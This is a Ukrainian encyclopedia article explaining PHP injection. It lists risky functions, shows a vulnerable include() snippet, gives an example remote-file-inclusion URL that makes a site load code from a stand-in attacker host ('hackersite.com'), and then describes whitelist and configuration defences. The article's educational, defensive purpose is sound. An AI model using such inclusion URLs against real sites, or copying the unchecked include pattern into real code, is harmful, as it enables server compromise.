PHP-ін'єкція

Матеріал з Вікіпедії — вільної енциклопедії.
Перейти до навігації Перейти до пошуку

PHP-ін'єкція (англ. PHP injection) — один із способів злому вебсайтів, що працюють на PHP, який полягає у виконанні стороннього коду на серверній стороні. Потенційно небезпечними функціями є:

  • eval(),
  • preg_replace() (з модифікатором «e»),
  • require_once(),
  • include_once(),
  • include(),
  • require(),
  • create_function().

PHP-ін'єкція стає можливою, якщо вхідні параметри приймаються і використовуються без перевірки.

Приклад[ред. | ред. код]

<? 
...
$module = $_GET['module'];
include ($module.'.php');
...
?>

Цей скрипт уразливий, оскільки до вмісту змінної $module просто додається «.php» та підключається файл.

Зломщик може на своєму сайті створити файл, що містить PHP-код (http://hackersite.com/inc.php), і зайшовши на сайт за посиланням на зразок http://mysite.com/index.php?module=http://hackersite.com/inc виконати будь-які PHP-команди.

Способи захисту[ред. | ред. код]

Існує декілька способів захисту від такої атаки:

  • Перевіряти, чи не містить змінна $module сторонні символи:
<? 
...
$module = $_GET['module'];
if (strpbrk($module, '. ?/:') ) die('Blocked');
include $module. '.php'; 
...
?>
  • Перевіряти, що $module присвоєно одне з допустимих значень:
<? 
...
$module = $_GET['module'];
$arr = array('main', 'about','links','forum');
if (!in_array($module, $arr) ) $module = $arr[0];
include $module. '.php' ; 
...
?>

Цей спосіб є ефективнішим.

PHP надає також можливість відключення використання віддалених файлів, це реалізується шляхом зміни значення опції allow_url_fopen на Off у файлі конфігурації сервера php.ini.

Див. також[ред. | ред. код]

Посилання[ред. | ред. код]